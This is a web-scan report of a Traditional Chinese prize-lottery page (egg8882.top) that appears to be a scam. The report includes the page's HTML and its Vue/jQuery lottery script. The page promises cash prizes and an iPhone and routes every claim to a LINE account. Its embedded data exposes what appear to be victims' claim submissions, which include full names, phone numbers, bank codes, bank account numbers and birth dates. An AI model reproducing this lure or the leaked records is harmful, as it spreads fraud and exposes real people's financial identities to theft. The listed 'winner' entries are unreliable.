- Scan ID:
- 6607207a-f007-489a-95b4-06a3f15575bbFinished
- Submitted URL:
- https://egg8882.top/
- Report Finished:
Links · 0 found
The outgoing links identified from the page
JavaScript Variables · 24 found
Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope
Name | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
$ | function |
jQuery | function |
Vue | function |
__core-js_shared__ | object |
ELEMENT | object |
resetFontSize | function |
data | object |
Console log messages · 1 found
Messages logged to the web console
Type | Category | Log |
---|---|---|
error | network |
|
HTML
The raw HTML body of the page
<!DOCTYPE html><html lang="en" style="font-size: 106.667px;"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>拆福袋贏大獎</title>
<link rel="stylesheet" href="/static/plus/vue/element-ui.2.15.6.css">
<link rel="stylesheet" href="/index/common/css/common.css">
<link rel="stylesheet" href="/index/zajindan/s1/css/zajindan_s1.css">
<style>
.img_1{background-image: url(/uploads/1/images/672b8b3079227.gif);background-size: 100%;background-repeat: repeat;}
.img_5{background-image: url(/uploads/1/images/67162d7ea9a26.png);background-size: 100%;no-repeat center; }
.img_13 {background: url(/uploads/1/images/67162d76dd012.png); background-size: 100%;}
</style>
</head>
<body style="background-color: rgba(255, 255, 255, 1)" class="loaded">
<!--加载动画-->
<div id="loader-wrapper">
<div id="loader"></div>
<div class="loader-section section-left"></div>
<div class="loader-section section-right"></div>
</div>
<!--加载动画end-->
<div id="app" class="img_1"><!----> <div class="img_2 title_top" style="top: 1rem;"><img src="/uploads/1/images/672b8b38d96b1.gif" class="no-ani"></div> <div class="img_6" style="left: 0.5rem; top: -0.3rem;"><img src="/uploads/1/images/67162e62647e9.png" class="daxiao"></div> <div class="img_7" style="left: 5.5rem; top: 10.5rem;"><img src="/uploads/1/images/67162d842f6f0.png" class="left_right"></div> <div class="img_20" style="left: -10rem; top: -10rem;"><a href=""><img src="/uploads/1/images/66c5b1feee015.jpg"></a></div> <div class="zajindan img_23" style="top: -1rem; background-image: url("/uploads/1/images/67162d6be3639.png"); background-size: 100% 100%;"><div id="hammer" class="shak img_5"></div> <ul class="egg zajindan-ul"><li><img src="/uploads/1/images/672b909795ff7.png" class="img_3 goldegg init"> <img src="/uploads/1/images/67162d6be3639.png" class="img_12"> <div class="info img_13" style="display: none;"></div></li><li><img src="/uploads/1/images/672b909795ff7.png" class="img_3 goldegg init jump"> <img src="/uploads/1/images/67162d6be3639.png" class="img_12"> <div class="info img_13" style="display: block;"></div></li><li><img src="/uploads/1/images/672b909795ff7.png" class="img_3 goldegg init"> <img src="/uploads/1/images/67162d6be3639.png" class="img_12"> <div class="info img_13"></div></li><li><img src="/uploads/1/images/672b909795ff7.png" class="img_3 goldegg init"> <img src="/uploads/1/images/67162d6be3639.png" class="img_12"> <div class="info img_13"></div></li><li><img src="/uploads/1/images/672b909795ff7.png" class="img_3 goldegg init"> <img src="/uploads/1/images/67162d6be3639.png" class="img_12"> <div class="info img_13"></div></li><li><img src="/uploads/1/images/672b909795ff7.png" class="img_3 goldegg init"> <img src="/uploads/1/images/67162d6be3639.png" class="img_12"> <div class="info img_13"></div></li><li><img src="/uploads/1/images/672b909795ff7.png" class="img_3 goldegg init"> <img src="/uploads/1/images/67162d6be3639.png" class="img_12"> <div class="info img_13"></div></li><li><img src="/uploads/1/images/672b909795ff7.png" class="img_3 goldegg init"> <img src="/uploads/1/images/67162d6be3639.png" class="img_12"> <div class="info img_13"></div></li><li><img src="/uploads/1/images/672b909795ff7.png" class="img_3 goldegg init"> <img src="/uploads/1/images/67162d6be3639.png" class="img_12"> <div class="info img_13"></div></li></ul></div> <div class="canyu" style="left: 0rem; top: -1rem; color: rgb(251, 255, 0);">
累計參與 : <b>5</b></div> <!----> <div class="prize-com" style="background: linear-gradient(to right, rgb(255, 229, 196), rgb(244, 178, 143)); position: relative; top: -1rem;"><div class="prize-com-1"><h1 style="background: linear-gradient(to right, rgb(244, 178, 143), rgb(255, 229, 196));">獎品清單</h1> <ul><li style="background: linear-gradient(rgb(244, 178, 143), rgb(255, 229, 196)); width: 36%;"><img src="/uploads/1/images/67162dbd0e6ef.png"> <h2 style="color: rgb(0, 0, 0);">頭獎 </h2> <p style="background: linear-gradient(to right, rgb(255, 229, 196), rgb(244, 178, 143));"><span style="color: rgb(255, 0, 0);">$100000 </span> <i style="border-width: 10px 8px 10px 5px; border-style: solid; border-color: rgb(244, 178, 143) transparent rgb(244, 178, 143) rgb(244, 178, 143);"></i></p></li><li style="background: linear-gradient(rgb(244, 178, 143), rgb(255, 229, 196)); width: 36%;"><img src="/uploads/1/images/67162dbd0e6ef.png"> <h2 style="color: rgb(0, 0, 0);">貳獎 </h2> <p style="background: linear-gradient(to right, rgb(255, 229, 196), rgb(244, 178, 143));"><span style="color: rgb(255, 0, 0);">$58888 </span> <i style="border-width: 10px 8px 10px 5px; border-style: solid; border-color: rgb(244, 178, 143) transparent rgb(244, 178, 143) rgb(244, 178, 143);"></i></p></li><li style="background: linear-gradient(rgb(244, 178, 143), rgb(255, 229, 196)); width: 36%;"><img src="/uploads/1/images/67162dc53f0a7.png"> <h2 style="color: rgb(0, 0, 0);">參獎 </h2> <p style="background: linear-gradient(to right, rgb(255, 229, 196), rgb(244, 178, 143));"><span style="color: rgb(255, 0, 0);">IPhone 16 pro max </span> <i style="border-width: 10px 8px 10px 5px; border-style: solid; border-color: rgb(244, 178, 143) transparent rgb(244, 178, 143) rgb(244, 178, 143);"></i></p></li><li style="background: linear-gradient(rgb(244, 178, 143), rgb(255, 229, 196)); width: 36%;"><img src="/uploads/1/images/67162dcb4b9e2.png"> <h2 style="color: rgb(0, 0, 0);">肆獎 </h2> <p style="background: linear-gradient(to right, rgb(255, 229, 196), rgb(244, 178, 143));"><span style="color: rgb(255, 0, 0);">RIMOWA 行李箱 </span> <i style="border-width: 10px 8px 10px 5px; border-style: solid; border-color: rgb(244, 178, 143) transparent rgb(244, 178, 143) rgb(244, 178, 143);"></i></p></li><li style="background: linear-gradient(rgb(244, 178, 143), rgb(255, 229, 196)); width: 36%;"><img src="/uploads/1/images/67162e4e129d6.png"> <h2 style="color: rgb(0, 0, 0);">伍獎 </h2> <p style="background: linear-gradient(to right, rgb(255, 229, 196), rgb(244, 178, 143));"><span style="color: rgb(255, 0, 0);">tt音響 </span> <i style="border-width: 10px 8px 10px 5px; border-style: solid; border-color: rgb(244, 178, 143) transparent rgb(244, 178, 143) rgb(244, 178, 143);"></i></p></li></ul></div></div> <!----> <!----> <div class="yinyue"><img src="/index/common/images/yinyue.png" id="music_play"></div> <div class="music"><audio src="/uploads/1/music/61cd5d6d8be9b.mp3" preload="meta" loop="loop" autoplay="autoplay" id="music1">該瀏覽器不支持audio内容</audio></div> <div tabindex="-1" class="el-drawer__wrapper" style="display: none;"><div role="document" tabindex="-1" class="el-drawer__container"><div aria-modal="true" aria-labelledby="el-drawer__title" aria-label="活動說明" role="dialog" tabindex="-1" class="el-drawer btt guize" style="height: 90%;"><header id="el-drawer__title" class="el-drawer__header"><span role="heading" title="活動說明">活動說明</span><button aria-label="close 活動說明" type="button" class="el-drawer__close-btn"><i class="el-dialog__close el-icon el-icon-close"></i></button></header><!----></div></div></div> <div class="el-dialog__wrapper" style="display: none;"><div role="dialog" aria-modal="true" aria-label="我的獎品" class="el-dialog my" style="margin-top: 15vh; width: 90%;"><div class="el-dialog__header"><span class="el-dialog__title">我的獎品</span><!----></div><!----><!----></div></div> <div class="el-dialog__wrapper" style="display: none;"><div role="dialog" aria-modal="true" aria-label="dialog" class="el-dialog zj-msg" style="margin-top: 0px;"><div class="el-dialog__header"><span class="el-dialog__title"></span><!----></div><!----><!----></div></div> <div class="el-dialog__wrapper" style="display: none;"><div role="dialog" aria-modal="true" aria-label="獎品詳情" class="el-dialog el-dialog--center xiangqing" style="margin-top: 15vh; width: 90%;"><div class="el-dialog__header"><span class="el-dialog__title">獎品詳情</span><button type="button" aria-label="Close" class="el-dialog__headerbtn"><i class="el-dialog__close el-icon el-icon-close"></i></button></div><!----><!----></div></div> <div class="el-dialog__wrapper" style="display: none;"><div role="dialog" aria-modal="true" aria-label="dialog" class="el-dialog form-popuo" style="margin-top: 30vh; width: 80%;"><div class="el-dialog__header"><span class="el-dialog__title"></span><!----></div><!----><!----></div></div> <div class="el-dialog__wrapper" style="display: none;"><div role="dialog" aria-modal="true" aria-label="dialog" class="el-dialog prize-msg guolv" style="margin-top: 0px;"><div class="el-dialog__header"><span class="el-dialog__title"></span><button type="button" aria-label="Close" class="el-dialog__headerbtn"><i class="el-dialog__close el-icon el-icon-close"></i></button></div><!----><!----></div></div></div>
<script type="text/javascript" src="/static/plus/jquery-3.4.1.js"></script>
<script type="text/javascript" src="/static/plus/vue/vue.2.6.14.js"></script>
<script type="text/javascript" src="/static/plus/vue/element-ui.2.15.6.js"></script>
<script>
resetFontSize();
function resetFontSize() {
var baseFontSize = 100;
var designWidth = 750;
var width = window.innerWidth;
var currentFontSize = (width / designWidth) * baseFontSize;
document.getElementsByTagName('html')[0].style.fontSize = currentFontSize + 'px';
}
window.onresize = function () {
resetFontSize()
};
var data=JSON.parse("{\"prize\":[{\"id\":1,\"type\":\"zajindan\",\"pid\":1,\"level\":\"1\",\"prize_gailv\":1,\"prize_name\":\"$100000\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u982d\\u734e\",\"prize_type\":\"1\",\"prize_num\":100,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":\"\",\"admin_id\":1},{\"id\":2,\"type\":\"zajindan\",\"pid\":1,\"level\":\"2\",\"prize_gailv\":1,\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"prize_num\":100,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":\"\",\"admin_id\":1},{\"id\":17,\"type\":\"zajindan\",\"pid\":1,\"level\":\"3\",\"prize_gailv\":1,\"prize_name\":\"IPhone 16 pro max\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dc53f0a7.png\",\"prize_level\":\"\\u53c3\\u734e\",\"prize_type\":\"1\",\"prize_num\":100,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":\"\",\"admin_id\":1},{\"id\":18,\"type\":\"zajindan\",\"pid\":1,\"level\":\"4\",\"prize_gailv\":1,\"prize_name\":\"RIMOWA \\u884c\\u674e\\u7bb1\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dcb4b9e2.png\",\"prize_level\":\"\\u8086\\u734e\",\"prize_type\":\"1\",\"prize_num\":100,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":\"\",\"admin_id\":1},{\"id\":19,\"type\":\"zajindan\",\"pid\":1,\"level\":\"5\",\"prize_gailv\":1,\"prize_name\":\"tt\\u97f3\\u97ff\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162e4e129d6.png\",\"prize_level\":\"\\u4f0d\\u734e\",\"prize_type\":\"1\",\"prize_num\":100,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":\"\",\"admin_id\":1}],\"log\":[],\"danmu\":[{\"id\":1585,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:59:24\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":0,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"lvWrP0ji1r\",\"cj_code\":\"308075\",\"user_code\":\"675ec47865c39\",\"pay_log_id\":null,\"dj_time\":null},{\"id\":1584,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:59:12\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":0,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"CGeTOWIkXe\",\"cj_code\":\"154385\",\"user_code\":\"675d04b203396\",\"pay_log_id\":null,\"dj_time\":null},{\"id\":1583,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:58:59\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":1,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"[{\\\"name\\\":\\\"\\u6d3b\\u52d5\\u5546\\u6236\\u865f\\\",\\\"val\\\":\\\"134588\\\"},{\\\"name\\\":\\\"\\u514c\\u734e\\u624b\\u6a5f\\u9580\\u865f\\\",\\\"val\\\":\\\"0909717509\\\"},{\\\"name\\\":\\\"\\u514c\\u734e\\u59d3\\u540d\\\",\\\"val\\\":\\\"\\u9673\\u601d\\u7a4e\\\"},{\\\"name\\\":\\\"\\u9280\\u884c\\u4ee3\\u865f\\\",\\\"val\\\":\\\"006\\\"},{\\\"name\\\":\\\"\\u9280\\u884c\\u5e33\\u865f\\\",\\\"val\\\":\\\"0240765783845\\\"},{\\\"name\\\":\\\"\\u6536\\u6b3e\\u91d1\\u984d\\\",\\\"val\\\":\\\"58888\\\"},{\\\"name\\\":\\\"\\u51fa\\u751f\\u5e74\\u6708\\u65e5\\\",\\\"val\\\":\\\"20020509\\\"}]\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"l47EUWJibh\",\"cj_code\":\"495750\",\"user_code\":\"675ec457a8687\",\"pay_log_id\":null,\"dj_time\":\"2024-12-15 20:02:37\"},{\"id\":1582,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:55:54\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":0,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"6JOW59FljL\",\"cj_code\":\"546296\",\"user_code\":\"675e7855d0e8b\",\"pay_log_id\":null,\"dj_time\":null},{\"id\":1581,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:53:02\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":0,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"uK2VQV38G2\",\"cj_code\":\"948405\",\"user_code\":\"675ec306913e7\",\"pay_log_id\":null,\"dj_time\":null},{\"id\":1580,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:52:00\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":0,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"hiIeRl8Esv\",\"cj_code\":\"042899\",\"user_code\":\"675ec2d3d04c8\",\"pay_log_id\":null,\"dj_time\":null},{\"id\":1579,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:45:07\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":0,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"uYOxFFjVzA\",\"cj_code\":\"304567\",\"user_code\":\"675ec13624c5e\",\"pay_log_id\":null,\"dj_time\":null},{\"id\":1578,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:43:05\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":0,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"PzBC8bXbbQ\",\"cj_code\":\"854388\",\"user_code\":\"675d540aca4b1\",\"pay_log_id\":null,\"dj_time\":null},{\"id\":1577,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:41:37\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":0,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"6zyWf9q3ky\",\"cj_code\":\"285306\",\"user_code\":\"675ebbea2043c\",\"pay_log_id\":null,\"dj_time\":null},{\"id\":1576,\"pid\":1,\"prize_id\":2,\"type\":\"zajindan\",\"level\":\"2\",\"cj_time\":\"2024-12-15 19:40:53\",\"prize_name\":\"$58888\",\"prize_img\":\"\\\/uploads\\\/1\\\/images\\\/67162dbd0e6ef.png\",\"prize_level\":\"\\u8cb3\\u734e\",\"prize_type\":\"1\",\"dj_status\":1,\"dj_type\":\"3\",\"dj_address\":\"\",\"dj_web\":\"https:\\\/\\\/lin.ee\\\/z2GLoML\",\"dj_info\":\"[{\\\"name\\\":\\\"\\u6d3b\\u52d5\\u5546\\u6236\\u865f\\\",\\\"val\\\":\\\"370633\\\"},{\\\"name\\\":\\\"\\u514c\\u734e\\u624b\\u6a5f\\u9580\\u865f\\\",\\\"val\\\":\\\"0925386851\\\"},{\\\"name\\\":\\\"\\u514c\\u734e\\u59d3\\u540d\\\",\\\"val\\\":\\\"\\u5416\\u5049\\\"},{\\\"name\\\":\\\"\\u9280\\u884c\\u4ee3\\u865f\\\",\\\"val\\\":\\\"822\\\"},{\\\"name\\\":\\\"\\u9280\\u884c\\u5e33\\u865f\\\",\\\"val\\\":\\\"598540526653\\\"},{\\\"name\\\":\\\"\\u6536\\u6b3e\\u91d1\\u984d\\\",\\\"val\\\":\\\"58888\\\"},{\\\"name\\\":\\\"\\u51fa\\u751f\\u5e74\\u6708\\u65e5\\\",\\\"val\\\":\\\"20040314\\\"}]\",\"json_field\":null,\"admin_id\":null,\"openid\":null,\"nickname\":\"\",\"headimgurl\":null,\"dj_code\":\"paNTyqUdgn\",\"cj_code\":\"475656\",\"user_code\":\"675ec02aa6146\",\"pay_log_id\":null,\"dj_time\":\"2024-12-15 20:01:26\"}],\"form_info\":[]}");
var id="1",
iframe="",
form_switch="0",
changjing = "2",
cj_code_switch = "1",
pay_switch = "0",
type = "zajindan",
time11 = "2023-05-11 19:35",
time22 = "2026-02-05 23:28",
status="2",
egg1 = "/uploads/1/images/672b8ff4e3dcf.png",
egg_num = 9,
danmu_set={
danmu_open:"0",
danmu_height:"3",
danmu_time:"30",
danmu_yanchi:"3",
};
var vm=new Vue({
el: '#app',
data: function() {
return {
id:id,
iframe:iframe,
prize:data.prize,
log:data.log,
guize_status:false,
my_status:false,
zj_status:false,
zj_prize:{
prize_img : '/index/common/images/1.png',
prize_level : '一等奖',
prize_name : '洗衣机',
prize_type : '1',
},
xiangqing_status:false,
xiangqing:[],
search_code:'',
form_switch:false,
form_info:data.form_info,
form_show:{
show_form:false,
show_code:false,
cj_code: '',
is_pay: '',
},
danmu:data.danmu,
cj_code_switch:cj_code_switch,
ewm_switch:false,
danmu_open:danmu_set.danmu_open,
jieshao:"tanchuang",
changjing:changjing,
prize_list:"1",
egg:{
egg1 : egg1,
length : egg_num,
click_index : '',
click_status:false,
},
egg_num1:egg_num,
duijiang:false,//奖品兑奖详情
duijiang_url:'',//奖品兑奖地址
}
},
created(){
this.egg_anm();
},
mounted(){
},
methods: {
show_guize(){
this.guize_status=true;
},
show_my(){
this.my_status=true;
},
show_zj(){
this.zj_status=true;
},
colose_zj(){
this.zj_status = false;
},
egg_anm(){
var egg=this.egg;
var that=this;
$(".goldegg").eq(egg.length).addClass("jump");
$(".info").eq(egg.length).show();
setInterval(function () {
egg.length++;
egg.length %= 9;
$(".goldegg").eq(egg.length - 1 < 0 && 8 || egg.length - 1).removeClass("jump");
$(".info").eq(egg.length - 1 < 0 && 8 || egg.length - 1).hide();
that.reback();
$(".goldegg").eq(egg.length).addClass("jump");
$(".info").eq(egg.length).show();
}, 1000);
},
reback() {
if (!$(".goldegg").eq(this.egg.length).hasClass("init")) {
this.egg.length++;
this.egg.length %= 9;
this.reback();
}
},
za_egg(){
var that=this;
var i =that.egg.click_index;
$("#hammer").removeClass("shak");
//锤子砸蛋的位置
(i == 0 || i == 3 || i == 6) && ($("#hammer").css("left", 1 + "rem"));
(i == 1 || i == 4 || i == 7) && ($("#hammer").css("left", 3 + "rem"));
(i == 2 || i == 5 || i == 8) && ($("#hammer").css("left", 5 + "rem"));
(i == 0 || i == 1 || i == 2) && ($("#hammer").css("top", 0 + "rem"));
(i == 3 | i == 4 || i == 5) && ($("#hammer").css("top", 2 + "rem"));
(i == 6 | i == 7 || i == 8) && ($("#hammer").css("top", 4 + "rem"));
setTimeout(function () {
$("#hammer").css({
left: 6 + "rem",
top: -0.5 + "rem"
});
}, 1500);
setTimeout(function () {
$("#hammer").addClass("hit");
setTimeout(function () {
$(".goldegg").eq(i).prop("src", that.egg.egg1);
}, 300);
setTimeout(function () {
$(".goldegg").eq(i).removeClass("init");
that.show_zj();
$("#hammer").removeClass("hit");
$("#hammer").addClass("shak");
$(".egg li").eq(i).attr('status',1);
setTimeout(function () {
that.egg.click_status = false;
}, 300);
}, 600);
}, 600);
},
show_xiangqing(log_id){
$url=window.location.protocol+'//'+window.location.host+"/dj/"+log_id;
this.duijiang_url = $url;
this.duijiang = true;
return false;
var that = this;
const loading = that.$loading({
lock: true,
text: "請稍等",
spinner: 'el-icon-loading',
background: 'rgba(0, 0, 0, 0.1)'
});
$.ajax({
type: "POST",
dataType: "json",
url: "/common/xiangqing" ,
data: {log_id:log_id},
success: function (res) {
loading.close();
that.xiangqing=res.data;
that.xiangqing_status=true;
}
});
},
start_but(index){
var that=this;
that.egg.click_index=index;
if(that.egg.click_status)return;
if($('.egg li').eq(index).attr('status')){
that.$message({
message: "這枚盲盒已經被您拆開了",
type: 'warning',
center: true,
customClass:'message',
});
return false;
};
if(iframe=='yes') {
if(form_switch == '1'){
that.form_switch = true;
return false;
}
that.$message({
message: "測試環境,隨便抽,不記錄數據",
type: 'warning',
center: true,
customClass:'message',
});
that.egg.click_status = true;
var prize_arr=that.prize;
var prize_num=prize_arr.length;
var level =Math.floor(Math.random() * prize_num) + 1;
var zj_prize=prize_arr[level - 1];
zj_prize['cj_time']="2024-12-15 20:04:56";
zj_prize['dj_status']='0';
zj_prize['id']='';
that.zj_prize={
prize_img : zj_prize['prize_img'],
prize_level : zj_prize['prize_level'],
prize_name : zj_prize['prize_name'],
prize_type : zj_prize['prize_type'],
};
that.log.unshift(zj_prize);
that.egg.click_status = true;
that.za_egg();
}else{
if(status==3){
that.$message({
message: "活動暫停中",
type: 'warning',
center: true,
customClass:'message',
});
return false;
}
let time = Math.round(new Date() / 1000);//获取当前时间戳
let time1 = new Date(""+time11+"") / 1000;
let time2 = new Date(""+time22+"") / 1000;
if(time1 > time){
that.$message({
message: "活動未開始",
type: 'warning',
center: true,
customClass:'message',
});
return false;
}
if(time2 < time){
that.$message({
message: "活動已結束",
type: 'warning',
center: true,
customClass:'message',
});
return false;
}
const loading = that.$loading({
lock: true,
text: "抽獎準備中,請稍後",
spinner: 'el-icon-loading',
background: 'rgba(0, 0, 0, 0.1)'
});
var post_data = {id:that.id};
$.post("/common/cj_status",post_data,function(res){
loading.close();
switch (res.code) {
case 1:
that.egg.click_status = true;
that.log.unshift(res.data);
that.za_egg();
that.zj_prize={
id : res.data['id'],
prize_img : res.data['prize_img'],
prize_level : res.data['prize_level'],
prize_name : res.data['prize_name'],
prize_type : res.data['prize_type'],
};
break;
case 2:
that.form_switch=true;
that.form_show.show_form=true;
that.form_show.is_pay='0';
break;
case 3:
that.form_switch=true;
that.form_show.show_code=true;
that.form_show.is_pay='0';
break;
case 4:
that.form_switch=true;
that.form_show.show_form=true;
that.form_show.show_code=true;
that.form_show.is_pay='0';
break;
default:
that.$message({
message: res.msg,
type: 'warning',
center: true,
customClass:'message',
});
}
});
}
},
//按抽奖码搜索
search(){
var that = this;
if(!that.search_code){
that.$message({
message: "請輸入拆盒暗號査詢",
type: 'warning',
center: true,
customClass:'message',
});
return false;
}
$.ajax({
type: "POST",
dataType: "json",
url: "/common/search" ,
data: {id:that.id,cj_code:that.search_code },
success: function (res) {
if(res.code == 1){
that.$message({
message: res.msg,
type: 'success',
center: true,
customClass:'message',
});
that.log=res.data;
}
}
});
},
copy(data) {
let url = data;
let oInput = document.createElement('input');
oInput.value = url;
document.body.appendChild(oInput);
oInput.select(); // 选择对象;
console.log(oInput.value);
document.execCommand("Copy"); // 执行浏览器复制命令
this.$message({
message: "複製成功",
type: 'success',
center: true,
customClass:'message',
});
oInput.remove();
},
//表单收集 +抽奖码
sub_form(){
var that=this;
let form_info = that.form_info;
var form_show=that.form_show;
//开启了表单
if(form_show.show_form){
for (var i=1;i<form_info.length;i++){
if(!this.trim(form_info[i]['val'])){
this.$message({
message: "資訊填完完整後在提交!",
type: 'warning',
center: true,
customClass:'message',
});
return false;
}
}
}
//开启了抽奖码
if(form_show.show_code){
if(!this.trim(form_show.cj_code)){
this.$message({
message: "請輸入拆盒暗號 獎品隨機",
type: 'warning',
center: true,
customClass:'message',
});
return false;
}
}
const loading = that.$loading({
lock: true,
text: "抽獎準備中,請稍後",
spinner: 'el-icon-loading',
background: 'rgba(0, 0, 0, 0.1)'
});
$.ajax({
type: "POST",
dataType: "json",
url: "/common/sub_form" ,
data: {
id:that.id,
type:type,
changjing:changjing,
form_info:form_info,
form_show:form_show,
},
success: function (res) {
loading.close();//关闭加载
if(res.code ==1){
that.form_switch=false;
that.form_show={
show_form:false,
show_code:false,
cj_code: '',
};
that.rotate_status = !this.rotate_status;
that.log.unshift(res.data);
that.zj_prize={
id : res.data['id'],
prize_img : res.data['prize_img'],
prize_level : res.data['prize_level'],
prize_name : res.data['prize_name'],
prize_type : res.data['prize_type'],
};
that.egg.click_status = true;
that.za_egg();
}else{
that.form_switch=false;
that.$message({
message: res.msg,
type: 'warning',
center: true,
customClass:'message',
});
}
},
error : function() {
that.$message({
message: "提交出錯",
type: 'warning',
center: true,
customClass:'message',
});
}
});
},
sub_duijiang_form(info){
var that=this;
for (var i=1;i<info.length;i++){
if(this.trim(!info[i]['val'])){
this.$message({
message: "資訊填完完整後在提交!",
type: 'warning',
center: true,
customClass:'message',
});
return false;
}
}
var log_id=that.xiangqing.id;
$.ajax({
type: "POST",//方法类型
dataType: "json",
url: "/common/sub_duijiang" ,//提交邮寄信息
data: {log_id:log_id,info:info},//数据
